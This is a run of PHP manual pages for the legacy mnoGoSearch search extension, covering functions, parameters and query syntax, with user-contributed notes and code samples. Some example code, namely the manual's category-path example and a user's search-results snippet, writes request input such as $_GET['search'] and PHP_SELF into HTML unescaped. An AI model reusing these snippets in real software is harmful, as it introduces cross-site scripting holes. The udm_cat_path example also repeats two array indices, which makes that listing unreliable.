(PHP 4 >= 4.0.6, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_cat_path — Get the path to the current category

Description

array udm_cat_path ( resource $agent , string $category )

Returns an array describing the path in the categories tree from the tree root to the current one, specified by category.

Parameters

agent

A link to Agent, received after call to udm_alloc_agent().

category

Return Values

The returned array consists of pairs. Elements with even index numbers contain the category paths, odd elements contain the corresponding category names.

For example, the call $array=udm_cat_path($agent, '02031D'); may return the following array:

 $array[0] will contain ''
 $array[1] will contain 'Root'
 $array[2] will contain '02'
 $array[3] will contain 'Sport'
 $array[4] will contain '0203'
 $array[5] will contain 'Auto'
 $array[4] will contain '02031D'
 $array[5] will contain 'Ferrari'

Examples

Example #1 Specifying path to the current category in the following format: '> Root > Sport > Auto > Ferrari'

<?php
  $cat_path_arr = udm_cat_path($udm_agent, $cat);
  $cat_path = '';
  for ($i=0; $i<count($cat_path_arr); $i+=2) {
    $path = $cat_path_arr[$i];
    $name = $cat_path_arr[$i+1];
    $cat_path .= " > <a href=\"$_SERVER[PHP_SELF]?cat=$path\">$name</a> ";
  }
?>

See Also

  • udm_cat_list() - Get all the categories on the same level with the current one

User Contributed Notes

There are no user contributed notes for this page.
udm_cat_list
udm_check_charset
mnoGoSearch Functions


Check if the given charset is known to mnogosearch

udm_cat_path
udm_check_stored
mnoGoSearch Functions
PHP Manual

udm_check_charset

(PHP 4 >= 4.2.0, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_check_charset — Check if the given charset is known to mnogosearch

Description

bool udm_check_charset ( resource $agent , string $charset )

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
udm_cat_path
udm_check_stored
mnoGoSearch Functions


Check connection to stored

udm_check_charset
udm_clear_search_limits
mnoGoSearch Functions
PHP Manual

udm_check_stored

(PHP 4 >= 4.2.0)

udm_check_stored — Check connection to stored

Description

int udm_check_stored ( resource $agent , int $link , string $doc_id )

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
udm_check_charset
udm_clear_search_limits
mnoGoSearch Functions


Clear all mnoGoSearch search restrictions

udm_check_stored
udm_close_stored
mnoGoSearch Functions
PHP Manual

udm_clear_search_limits

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_clear_search_limits — Clear all mnoGoSearch search restrictions

Description

bool udm_clear_search_limits ( resource $agent )

udm_clear_search_limits() resets defined search limitations.

Parameters

agent

A link to Agent, received after call to udm_alloc_agent().

Return Values

Returns TRUE.

See Also

  • udm_add_search_limit() - Add various search limits

User Contributed Notes

There are no user contributed notes for this page.
udm_check_stored
udm_close_stored
mnoGoSearch Functions


Close connection to stored

udm_clear_search_limits
udm_crc32
mnoGoSearch Functions
PHP Manual

udm_close_stored

(PHP 4 >= 4.2.0)

udm_close_stored — Close connection to stored

Description

int udm_close_stored ( resource $agent , int $link )

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
udm_clear_search_limits
udm_crc32
mnoGoSearch Functions


Return CRC32 checksum of given string

udm_close_stored
udm_errno
mnoGoSearch Functions
PHP Manual

udm_crc32

(PHP 4 >= 4.2.0, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_crc32 — Return CRC32 checksum of given string

Description

int udm_crc32 ( resource $agent , string $str )

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
udm_close_stored
udm_errno
mnoGoSearch Functions


Get mnoGoSearch error number

udm_crc32
udm_error
mnoGoSearch Functions
PHP Manual

udm_errno

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_errno — Get mnoGoSearch error number

Description

int udm_errno ( resource $agent )

Receiving numeric agent error code.

Parameters

agent

A link to Agent, received after call to udm_alloc_agent().

Return Values

Returns the mnoGoSearch error number, zero if no error.

User Contributed Notes

There are no user contributed notes for this page.
udm_crc32
udm_error
mnoGoSearch Functions


Get mnoGoSearch error message

udm_errno
udm_find
mnoGoSearch Functions
PHP Manual

udm_error

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_error — Get mnoGoSearch error message

Description

string udm_error ( resource $agent )

Gets the agent error message.

Parameters

agent

A link to Agent, received after call to udm_alloc_agent().

Return Values

udm_error() returns mnoGoSearch error message, empty string if no error.

User Contributed Notes

There are no user contributed notes for this page.
udm_errno
udm_find
mnoGoSearch Functions


Perform search

udm_error
udm_free_agent
mnoGoSearch Functions
PHP Manual

udm_find

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_find — Perform search

Description

resource udm_find ( resource $agent , string $query )

Performs a search.

The search itself. The first argument - session, the next one - query itself. To find something just type words you want to find and press SUBMIT button. For example, "mysql odbc". You should not use quotes " in query, they are written here only to divide a query from other text. mnoGoSearch will find all documents that contain word "mysql" and/or word "odbc". Best documents having bigger weights will be displayed first. If you use search mode ALL, search will return documents that contain both (or more) words you entered. In case you use mode ANY, the search will return list of documents that contain any of the words you entered. If you want more advanced results you may use query language. You should select "bool" match mode in the search from.

Parameters

agent

A link to Agent, received after call to udm_alloc_agent().

query

mnoGoSearch understands the following boolean operators:

& - logical AND. For example, "mysql & odbc". mnoGoSearch will find any URLs that contain both "mysql" and "odbc".

| - logical OR. For example "mysql|odbc". mnoGoSearch will find any URLs, that contain word "mysql" or word "odbc".

~ - logical NOT. For example "mysql & ~odbc". mnoGoSearch will find URLs that contain word "mysql" and do not contain word "odbc" at the same time. Note that ~ just excludes given word from results. Query "~odbc" will find nothing!

() - group command to compose more complex queries. For example "(mysql | msql) & ~postgres". Query language is simple and powerful at the same time. Just consider query as usual boolean expression.

Return Values

Returns a result link identifier on success or FALSE on failure.

User Contributed Notes

sm_dev_mnogo at u5 dot com 20-Nov-2003 03:02
For me (PHP 4.3.3, Mnogo 3.2.15 on FreeBSD) Mnogo doesn't work as described - but very well if done as in the PHP-template distributed by MnogoSearch

I had huge problems getting Udm_Find(... to return anything at all.

All the other calls worked, like udm_get_doc_count(...  but _find seemed to insist on returning nothing, no matter what I tried.

However, I had actually a working installation of mnogo, using the PHP template, so it was just to find the difference in the, BTW impressive, work by Sergey 'gluke' Kartashoff.

The result was surprising, see below. The parameter UDM_PARAM_QUERY is not mentioned in the manual

<?php

  $q="help";
  // This is the real query. Note that Udm_find seems to
  // ignore it, despite the
  // description in the manual

  $udm_agent
    =Udm_Alloc_Agent('pgsql://me:secret@/mnogo_db/?dbmode=multi');
  // This is actually also contrary to the manual, but it
  // works. Also in the PHP-template it said
/*
if (Udm_Api_Version() >= 30204) {
    $dbaddr='mysql://mnogo:mnogo@/mnogo/?dbmode=single';
} else {
    $dbaddr='mysql://mnogo:mnogo@/mnogo/';
    $dbmode='single';
}
*/
// which contradicts the manual for never versions

  $iDoItAsInTheManual = true;  //Set to false and it works

  if ($iDoItAsInTheManual)
    {
    $res=Udm_Find($udm_agent, $q);
    }
  else
    // This works:
    {
    Udm_Set_Agent_Param($udm_agent,UDM_PARAM_QUERY,$q);
    $res=Udm_Find($udm_agent,"anything here, makes no difference!!");
    }

  $url = udm_get_res_field(
                                $res,         //resource res,
                                0,                 // int row,
                                UDM_FIELD_URL     // int field
                                );
  echo $url;

  // Fails if $iDoItAsInTheManual==true, otherwise it works fine

?>

I don't know where something has gone wrong but I hope this may help someone save a little time.
matt at nowhere dot dot 23-Dec-2002 10:50
Here is a small snipet of code that will perform a search on mnogosearch and (in not so pretty a way) display the results.  Note that it appears that UDM_PARAM_FIRST_DOC starts at 1, but perhaps should be 0.
<?php
$searchText = trim($_GET['search']);
$mnogo = udm_alloc_agent ('mysql://me:secret@localhost/mnogosearch/');
$mResult = udm_find($mnogo,$searchText);
$totalMatches = udm_get_res_param ($mResult,UDM_PARAM_FOUND);
$pageSize = udm_get_res_param ($mResult,UDM_PARAM_NUM_ROWS);
$firstRow = udm_get_res_param ($mResult,UDM_PARAM_FIRST_DOC);
$lastRow = udm_get_res_param ($mResult,UDM_PARAM_LAST_DOC);
echo "Your search for <b>$searchText</b> resulted in <b>$totalMatches</b> matches";
echo "The result set (pagesize) is <b>$pageSize</b>\n";
echo "The first doc is row <b>$firstRow</b> and the last doc is <b>$lastRow</b>\n";
$row=0;
for ($i=$firstRow-1;$i<$lastRow;$i++) {
    $row++;
    echo "Match $row:";
    echo 'Url: ';
    $url = udm_get_res_field ($mResult,$i,UDM_FIELD_URL);
    echo "<a href=\"$url\">$url</a>";
    echo "\nTitle: <b>";
    echo udm_get_res_field ($mResult, $i,UDM_FIELD_TITLE);
    echo "</b>\nMeta Desc:";
    echo udm_get_res_field ($mResult, $i,UDM_FIELD_DESC);
    echo "\nPage Text: <b>\n";
    echo udm_get_res_field ($mResult, $i,UDM_FIELD_TEXT);
    echo "</b>\n<hr>\n";
}
udm_free_res($mResult);
udm_free_agent($mnogo);
?>
udm_error
udm_free_agent
mnoGoSearch Functions


Free mnoGoSearch session

udm_find
udm_free_ispell_data
mnoGoSearch Functions
PHP Manual

udm_free_agent

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_free_agent — Free mnoGoSearch session

Description

int udm_free_agent ( resource $agent )

Freeing up memory allocated for agent session.

Parameters

agent

A link to Agent, received after call to udm_alloc_agent().

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
udm_find
udm_free_ispell_data
mnoGoSearch Functions


Free memory allocated for ispell data

udm_free_agent
udm_free_res
mnoGoSearch Functions
PHP Manual

udm_free_ispell_data

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_free_ispell_data — Free memory allocated for ispell data

Description

bool udm_free_ispell_data ( int $agent )

Frees the memory allocated for ispell data.

Parameters

agent

A link to Agent, received after call to udm_alloc_agent().

Return Values

udm_free_ispell_data() always returns TRUE.

Notes

Note:

This function is supported beginning from version 3.1.12 of mnoGoSearch and it does not do anything in previous versions.

User Contributed Notes

indeyets at gmail dot com 27-Jul-2005 12:40
in mnogosearch 3.2.33 (and earlier 3.2.x versions) this function should not be used, as udm_free_agent() implicitly frees this memory too.

as a result, you will have "double free" and crash of php/apache instance
udm_free_agent
udm_free_res
mnoGoSearch Functions


Free mnoGoSearch result

udm_free_ispell_data
udm_get_doc_count
mnoGoSearch Functions
PHP Manual

udm_free_res

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_free_res — Free mnoGoSearch result

Description

bool udm_free_res ( resource $res )

Freeing up memory allocated for results.

Parameters

res

A link to a result identifier, received after call to udm_find().

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
udm_free_ispell_data
udm_get_doc_count
mnoGoSearch Functions


Get total number of documents in database

udm_free_res
udm_get_res_field
mnoGoSearch Functions
PHP Manual

udm_get_doc_count

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_get_doc_count — Get total number of documents in database

Description

int udm_get_doc_count ( resource $agent )

udm_get_doc_count() returns the number of documents in the database.

Parameters

agent

A link to Agent, received after call to udm_alloc_agent().

Return Values

Returns the number of documents.

Notes

Note:

This function is supported only in mnoGoSearch 3.1.11 or later.

User Contributed Notes

There are no user contributed notes for this page.
udm_free_res
udm_get_res_field
mnoGoSearch Functions


Fetch a result field

udm_get_doc_count
udm_get_res_param
mnoGoSearch Functions
PHP Manual

udm_get_res_field

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_get_res_field — Fetch a result field

Description

string udm_get_res_field ( resource $res , int $row , int $field )

Fetch a mnoGoSearch result field.

Parameters

res

res - a link to result identifier, received after call to udm_find().

row

row - the number of the link on the current page. May have values from 0 to UDM_PARAM_NUM_ROWS-1.

field

field - field identifier, may have the following values:

  • UDM_FIELD_URL - document URL field
  • UDM_FIELD_CONTENT - document Content-type field (for example, text/html).
  • UDM_FIELD_CATEGORY - document category field. Use udm_cat_path() to get full path to current category from the categories tree root. (This parameter is available only in PHP 4.0.6 or later).
  • UDM_FIELD_TITLE - document title field.
  • UDM_FIELD_KEYWORDS - document keywords field (from META KEYWORDS tag).
  • UDM_FIELD_DESC - document description field (from META DESCRIPTION tag).
  • UDM_FIELD_TEXT - document body text (the first couple of lines to give an idea of what the document is about).
  • UDM_FIELD_SIZE - document size.
  • UDM_FIELD_URLID - unique URL ID of the link.
  • UDM_FIELD_RATING - page rating (as calculated by mnoGoSearch).
  • UDM_FIELD_MODIFIED - last-modified field in unixtime format.
  • UDM_FIELD_ORDER - the number of the current document in set of found documents.
  • UDM_FIELD_CRC - document CRC.

Return Values

udm_get_res_field() returns result field value on success, FALSE on error.

User Contributed Notes

kosh dot linux at gmail dot com 24-Apr-2009 11:07
Use the function udm_get_res_field_ex() to fetch "non-standard" sections.

Example:

<?php
$tags = udm_get_res_field_ex($agent, $row, "meta.mytag");
?>
ctg-php at graysmark dot net 06-Apr-2004 12:01
It seems the description length is now determined by UDM_MAXDESCSIZE in udm_common.h instead of UDM_MAXTEXTSIZE
davidbullock at tech-center dot com 08-Sep-2001 11:07
To further improve the "description" field quality, there are two additional techniques you can use.

First, you can define this value if you know it, by setting a description meta tag in the head section.

Second, mnogosearch has an <index></noindex> tag pair that appears to make the enclosed content completely invisible to the search engine.  I've used this on the sites I maintain to 'vanish' the navigational elements, field names, and other non-content type HTML and page window dressing so that only the important content is indexed and reported on.

This last technique as an added (and more important benefit) of helping to eliminate a lot of false matches in searches.
davidbullock at tech-center dot com 08-Sep-2001 11:01
The returned page description is only 100 characters long.

To store more information, you can change the appropriate database field length to 255 characters (field "description" in the table "url"), and change the following line in udm_common.h.

#define UDM_MAXTEXTSIZE 255
udm_get_doc_count
udm_get_res_param
mnoGoSearch Functions


Get mnoGoSearch result parameters

udm_get_res_field
udm_hash32
mnoGoSearch Functions
PHP Manual

udm_get_res_param

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_get_res_param — Get mnoGoSearch result parameters

Description

string udm_get_res_param ( resource $res , int $param )

Gets the mnoGoSearch result parameters.

Parameters

res

res - a link to result identifier, received after call to udm_find().

param

param - parameter identifier, may have the following values:

  • UDM_PARAM_NUM_ROWS - number of received found links on the current page. It is equal to UDM_PARAM_PAGE_SIZE for all search pages, on the last page - the rest of links.
  • UDM_PARAM_FOUND - total number of results matching the query.
  • UDM_PARAM_WORDINFO - information on the words found. E.g. search for "a good book" will return "a: stopword, good:5637, book: 120"
  • UDM_PARAM_SEARCHTIME - search time in seconds.
  • UDM_PARAM_FIRST_DOC - the number of the first document displayed on current page.
  • UDM_PARAM_LAST_DOC - the number of the last document displayed on current page.

Return Values

udm_get_res_param() returns result parameter value on success, FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.
udm_get_res_field
udm_hash32
mnoGoSearch Functions


Return Hash32 checksum of gived string

udm_get_res_param
udm_load_ispell_data
mnoGoSearch Functions
PHP Manual

udm_hash32

(PHP 4 >= 4.3.3, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_hash32 — Return Hash32 checksum of gived string

Description

int udm_hash32 ( resource $agent , string $str )

udm_hash32() will take a string str and return a quite unique 32-bit hash number from it.

Parameters

agent

A link to Agent, received after call to udm_alloc_agent().

str

The input string.

Return Values

Returns a 32-bit hash number.

See Also

  • udm_alloc_agent() - Allocate mnoGoSearch session

User Contributed Notes

There are no user contributed notes for this page.
udm_get_res_param
udm_load_ispell_data
mnoGoSearch Functions


Load ispell data

udm_hash32
udm_open_stored
mnoGoSearch Functions
PHP Manual

udm_load_ispell_data

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_load_ispell_data — Load ispell data

Description

bool udm_load_ispell_data ( resource $agent , int $var , string $val1 , string $val2 , int $flag )

udm_load_ispell_data() loads ispell data.

After using this function to free memory allocated for ispell data, please use udm_free_ispell_data(), even if you use UDM_ISPELL_TYPE_SERVER mode.

Parameters

agent

A link to Agent, received after call to udm_alloc_agent().

var

Indicates the source for ispell data. May have the following values:

  • UDM_ISPELL_TYPE_DB - indicates that ispell data should be loaded from SQL. In this case, parameters val1 and val2 are ignored and should be left blank. flag should be equal to 1.

    Note:

    flag indicates that after loading ispell data from defined source it should be sorted (it is necessary for correct functioning of ispell). In case of loading ispell data from files there may be several calls to udm_load_ispell_data(), and there is no sense to sort data after every call, but only after the last one. Since in db mode all the data is loaded by one call, this parameter should have the value 1. In this mode in case of error, e.g. if ispell tables are absent, the function will return FALSE and code and error message will be accessible through udm_error() and udm_errno().

  • UDM_ISPELL_TYPE_AFFIX - indicates that ispell data should be loaded from file and initiates loading affixes file. In this case val1 defines double letter language code for which affixes are loaded, and val2 - file path. Please note, that if a relative path entered, the module looks for the file not in UDM_CONF_DIR, but in relation to current path, i.e. to the path where the script is executed. In case of error in this mode, e.g. if file is absent, the function will return FALSE, and an error message will be displayed. Error message text cannot be accessed through udm_error() and udm_errno(), since those functions can only return messages associated with SQL. Please, see flag parameter description in UDM_ISPELL_TYPE_DB.

    Example #1 udm_load_ispell_data() example

    <?php
    if ((! udm_load_ispell_data($udm, UDM_ISPELL_TYPE_AFFIX, 'en', '/opt/ispell/en.aff', 0)) ||
        (!     udm_load_ispell_data($udm, UDM_ISPELL_TYPE_AFFIX, 'ru', '/opt/ispell/ru.aff', 0)) ||
        (!     udm_load_ispell_data($udm, UDM_ISPELL_TYPE_SPELL, 'en', '/opt/ispell/en.dict', 0)) ||
        (!     udm_load_ispell_data($udm, UDM_ISPELL_TYPE_SPELL, 'ru', '/opt/ispell/ru.dict', 1))) {
        exit;
    }
    ?>

    Note:

    flag is equal to 1 only in the last call.

  • UDM_ISPELL_TYPE_SPELL - indicates that ispell data should be loaded from file and initiates loading of ispell dictionary file. In this case val1 defines double letter language code for which affixes are loaded, and val2 - file path. Please note, that if a relative path entered, the module looks for the file not in UDM_CONF_DIR, but in relation to current path, i.e. to the path where the script is executed. In case of error in this mode, e.g. if file is absent, the function will return FALSE, and an error message will be displayed. Error message text cannot be accessed through udm_error() and udm_errno(), since those functions can only return messages associated with SQL. Please, see flag parameter description in UDM_ISPELL_TYPE_DB.

    <?php
    if ((! udm_load_ispell_data($udm, UDM_ISPELL_TYPE_AFFIX, 'en', '/opt/ispell/en.aff', 0)) ||
       (!     udm_load_ispell_data($udm, UDM_ISPELL_TYPE_AFFIX, 'ru', '/opt/ispell/ru.aff', 0)) ||
       (!     udm_load_ispell_data($udm, UDM_ISPELL_TYPE_SPELL, 'en', '/opt/ispell/en.dict', 0)) ||
       (!     udm_load_ispell_data($udm, UDM_ISPELL_TYPE_SPELL, 'ru', '/opt/ispell/ru.dict', 1))) {
     exit;
     }
    ?>

    Note:

    flag is equal to 1 only in the last call.

  • UDM_ISPELL_TYPE_SERVER - enables spell server support. val1 parameter indicates address of the host running spell server. val2 ` is not used yet, but in future releases it is going to indicate number of port used by spell server. flag parameter in this case is not needed since ispell data is stored on spellserver already sorted.

    Spelld server reads spell-data from a separate configuration file (/usr/local/mnogosearch/etc/spelld.conf by default), sorts it and stores in memory. With clients server communicates in two ways: to indexer all the data is transferred (so that indexer starts faster), from search.cgi server receives word to normalize and then passes over to client (search.cgi) list of normalized word forms. This allows fastest, compared to db and text modes processing of search queries (by omitting loading and sorting all the spell data).

    udm_load_ispell_data() function in UDM_ISPELL_TYPE_SERVER mode does not actually load ispell data, but only defines server address. In fact, server is automatically used by udm_find() function when performing search. In case of errors, e.g. if spellserver is not running or invalid host indicated, there are no messages returned and ispell conversion does not work.

    Note:

    This function is available in mnoGoSearch 3.1.12 or later.

    Example:
    <?php
    if (!udm_load_ispell_data($udm, UDM_ISPELL_TYPE_SERVER, '', '', 1)) {
        echo     "Error loading ispell data from server<br />\n";
        exit;
    }
    ?>

The fastest mode is UDM_ISPELL_TYPE_SERVER. UDM_ISPELL_TYPE_TEXT is slower and UDM_ISPELL_TYPE_DB is the slowest. The above pattern is TRUE for mnoGoSearch 3.1.10 - 3.1.11. It is planned to speed up DB mode in future versions and it is going to be faster than TEXT mode.

val1

val2

flag

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #2 udm_load_ispell_data() example

<?php
if (! udm_load_ispell_data($udm, UDM_ISPELL_TYPE_DB, '', '', 1)) {
  printf("Error #%d: '%s'\n", udm_errno($udm), udm_error($udm));
  exit;
}
?>

User Contributed Notes

There are no user contributed notes for this page.
udm_hash32
udm_open_stored
mnoGoSearch Functions


Open connection to stored

udm_load_ispell_data
udm_set_agent_param
mnoGoSearch Functions
PHP Manual

udm_open_stored

(PHP 4 >= 4.2.0)

udm_open_stored — Open connection to stored

Description

int udm_open_stored ( resource $agent , string $storedaddr )

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
udm_load_ispell_data
udm_set_agent_param
mnoGoSearch Functions


Set mnoGoSearch agent session parameters

udm_open_stored
Solr
mnoGoSearch Functions
PHP Manual

udm_set_agent_param

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.5, PECL mnogosearch >= 1.0.0)

udm_set_agent_param — Set mnoGoSearch agent session parameters

Description

bool udm_set_agent_param ( resource $agent , int $var , string $val )

Defines mnoGoSearch session parameters.

Parameters

agent

A link to Agent, received after call to udm_alloc_agent().

var

The following parameters and their values are available:

  • UDM_PARAM_PAGE_NUM - used to choose search results page number (results are returned by pages beginning from 0, with UDM_PARAM_PAGE_SIZE results per page).
  • UDM_PARAM_PAGE_SIZE - number of search results displayed on one page.
  • UDM_PARAM_SEARCH_MODE - search mode. The following values available: UDM_MODE_ALL - search for all words; UDM_MODE_ANY - search for any word; UDM_MODE_PHRASE - phrase search; UDM_MODE_BOOL - boolean search. See udm_find() for details on boolean search.
  • UDM_PARAM_CACHE_MODE - turns on or off search result cache mode. When enabled, the search engine will store search results to disk. In case a similar search is performed later, the engine will take results from the cache for faster performance. Available values: UDM_CACHE_ENABLED, UDM_CACHE_DISABLED.
  • UDM_PARAM_TRACK_MODE - turns on or off trackquery mode. Since version 3.1.2 mnoGoSearch has a query tracking support. Note that tracking is implemented in SQL version only and not available in built-in database. To use tracking, you have to create tables for tracking support. For MySQL, use create/mysql/track.txt. When doing a search, front-end uses those tables to store query words, a number of found documents and current Unix timestamp in seconds. Available values: UDM_TRACK_ENABLED, UDM_TRACK_DISABLED.
  • UDM_PARAM_PHRASE_MODE - defines whether index database using phrases ("phrase" parameter in indexer.conf). Possible values: UDM_PHRASE_ENABLED and UDM_PHRASE_DISABLED. Please note, that if phrase search is enabled (UDM_PHRASE_ENABLED), it is still possible to do search in any mode (ANY, ALL, BOOL or PHRASE). In 3.1.10 version of mnoGoSearch phrase search is supported only in sql and built-in database modes, while beginning with 3.1.11 phrases are supported in cachemode as well. Examples of phrase search: "Arizona desert" - This query returns all indexed documents that contain "Arizona desert" as a phrase. Notice that you need to put double quotes around the phrase
  • UDM_PARAM_CHARSET - defines local charset. Available values: set of charsets supported by mnoGoSearch, e.g. koi8-r, cp1251, ...
  • UDM_PARAM_STOPFILE - Defines name and path to stopwords file. (There is a small difference with mnoGoSearch - while in mnoGoSearch if relative path or no path entered, it looks for this file in relation to UDM_CONF_DIR, the module looks for the file in relation to current path, i.e. to the path where the PHP script is executed.)
  • UDM_PARAM_STOPTABLE - Load stop words from the given SQL table. You may use several StopwordTable commands. This command has no effect when compiled without SQL database support.
  • UDM_PARAM_WEIGHT_FACTOR - represents weight factors for specific document parts. Currently body, title, keywords, description, url are supported. To activate this feature please use degrees of 2 in *Weight commands of the indexer.conf. Let's imagine that we have these weights:
          URLWeight     1
      BodyWeight    2
      TitleWeight   4
      KeywordWeight 8
      DescWeight    16
    As far as indexer uses bit OR operation for word weights when some word presents several time in the same document, it is possible at search time to detect word appearance in different document parts. Word which appears only in the body will have 00000010 aggregate weight (in binary notation). Word used in all document parts will have 00011111 aggregate weight. This parameter's value is a string of hex digits ABCDE. Each digit is a factor for corresponding bit in word weight. For the given above weights configuration:
           E is a factor for weight 1  (URL Weight bit)
       D is a factor for weight 2  (BodyWeight bit)
       C is a factor for weight 4  (TitleWeight bit)
       B is a factor for weight 8  (KeywordWeight bit)
       A is a factor for weight 16 (DescWeight bit)
    Examples: UDM_PARAM_WEIGHT_FACTOR=00001 will search through URLs only. UDM_PARAM_WEIGHT_FACTOR=00100 will search through Titles only. UDM_PARAM_WEIGHT_FACTOR=11100 will search through Title,Keywords,Description but not through URL and Body. UDM_PARAM_WEIGHT_FACTOR=F9421 will search through:
            Description with factor 15  (F hex)
        Keywords with factor 9
        Title with factor  4
        Body with factor 2
        URL with factor 1
    If UDM_PARAM_WEIGHT_FACTOR variable is omitted, original weight value is taken to sort results. For a given above weight configuration it means that document description has a most big weight 16.
  • UDM_PARAM_WORD_MATCH - word match. You may use this parameter to choose word match type. This feature works only in "single" and "multi" modes using SQL based and built-in database. It does not work in cachemode and other modes since they use word CRC and do not support substring search. Available values: UDM_MATCH_BEGIN - word beginning match; UDM_MATCH_END - word ending match; UDM_MATCH_WORD - whole word match; UDM_MATCH_SUBSTR - word substring match.
  • UDM_PARAM_MIN_WORD_LEN - defines minimal word length. Any word shorter this limit is considered to be a stopword. Please note that this parameter value is inclusive, i.e. if UDM_PARAM_MIN_WORD_LEN=3, a word 3 characters long will not be considered a stopword, while a word 2 characters long will be. Default value is 1.
  • UDM_PARAM_ISPELL_PREFIXES - Possible values: UDM_PREFIXES_ENABLED and UDM_PREFIXES_DISABLED, that respectively enable or disable using prefixes. E.g. if a word "tested" is in search query, also words like "test", "testing", etc. Only suffixes are supported by default. Prefixes usually change word meanings, for example if somebody is searching for the word "tested" one hardly wants "untested" to be found. Prefixes support may also be found useful for site's spelling checking purposes. In order to enable ispell, you have to load ispell data with udm_load_ispell_data().
  • UDM_PARAM_CROSS_WORDS - enables or disables crosswords support. Possible values: UDM_CROSS_WORDS_ENABLED and UDM_CROSS_WORDS_DISABLED. The crosswords feature allows to assign words between <a href="xxx"> and </a> also to a document this link leads to. It works in SQL database mode and is not supported in built-in database and Cachemode.
  • UDM_PARAM_VARDIR - specifies a custom path to directory where indexer stores data when using built-in database and in cache mode. By default /var directory of mnoGoSearch installation is used. Can have only string values.

val

Changelog

Version | Description
4.1.0 | UDM_PARAM_VARDIR was added.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note: Crosswords are supported only in mnoGoSearch 3.1.11 or later.

User Contributed Notes

ywarnier at beeznest dot org 12-May-2006 04:37
Other possible session parameters not documented but found in the default php frontend on http://www.mnogosearch.org:
UDM_PARAM_BROWSER_CHARSET - ?
UDM_PARAM_HLBEG - defines the tag to use before an highlighted search term
UDM_PARAM_HLBEG  - defines the tag to use after an highlighted search term
UDM_PARAM_QSTRING - defines the search term (or query string)
UDM_PARAM_REMOTE_ADDR - ?
UDM_PARAM_QUERY - ?
UDM_PARAM_STORED - ?
UDM_PARAM_GROUPBYSITE - toggles the "group by site" feature (UDM_ENABLED or UDM_DISABLED)
UDM_PARAM_SITEID - ?
UDM_PARAM_DETECT_CLONES - enable the "detect clone" feature (UDM_ENABLED or UDM_DISABLED)
adu at php dot net 21-Dec-2005 08:42
I found an undocumented function: udm_set_agent_param_ex
For example, if you want to sort results by date, do this:
udm_set_agent_param_ex($udm_agent, 's', 'DR');
See http://www.mnogosearch.org/doc/msearch-doingsearch.html for details
GneralTsao 18-Jul-2005 11:27
One useful parameter not documented above is UDM_PARAM_SYNONYM.  If you understand how this API works in general, you should be able to figure it out, but here goes anyway:

<?php
/* Make sure that PHP is able to find the file.  Unlike mnogosearch's indexer and search.cgi, it doesn't know the directory of the installation. */
$synFile="/usr/local/mnogosearch/etc/synonym/english.syn";
udm_set_agent_param($agent, UDM_PARAM_SYNONYM, $synFile);
?>

Piece of cake.

For more about mnogosearch's handling of synonyms see http://www.mnogosearch.org/doc/msearch-fuzzy.html#synonyms
udm_open_stored
Solr
mnoGoSearch Functions


Apache Solr

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Solr Functions
    • solr_get_version — Returns the current version of the Apache Solr extension
  • Examples
  • SolrUtils — The SolrUtils class
    • SolrUtils::digestXmlResponse — Parses an response XML string into a SolrObject
    • SolrUtils::escapeQueryChars — Escapes a lucene query string
    • SolrUtils::getSolrVersion — Returns the current version of the Solr extension
    • SolrUtils::queryPhrase — Prepares a phrase from an unescaped lucene string
  • SolrInputDocument — The SolrInputDocument class
    • SolrInputDocument::addField — Adds a field to the document
    • SolrInputDocument::clear — Resets the input document
    • SolrInputDocument::__clone — Creates a copy of a SolrDocument
    • SolrInputDocument::__construct — Constructor
    • SolrInputDocument::deleteField — Removes a field from the document
    • SolrInputDocument::__destruct — Destructor
    • SolrInputDocument::fieldExists — Checks if a field exists
    • SolrInputDocument::getBoost — Retrieves the current boost value for the document
    • SolrInputDocument::getField — Retrieves a field by name
    • SolrInputDocument::getFieldBoost — Retrieves the boost value for a particular field
    • SolrInputDocument::getFieldCount — Returns the number of fields in the document
    • SolrInputDocument::getFieldNames — Returns an array containing all the fields in the document
    • SolrInputDocument::merge — Merges one input document into another
    • SolrInputDocument::reset — This is an alias of SolrInputDocument::clear
    • SolrInputDocument::setBoost — Sets the boost value for this document
    • SolrInputDocument::setFieldBoost — Sets the index-time boost value for a field
    • SolrInputDocument::sort — Sorts the fields within the document
    • SolrInputDocument::toArray — Returns an array representation of the input document
  • SolrDocument — The SolrDocument class
    • SolrDocument::addField — Adds a field to the document
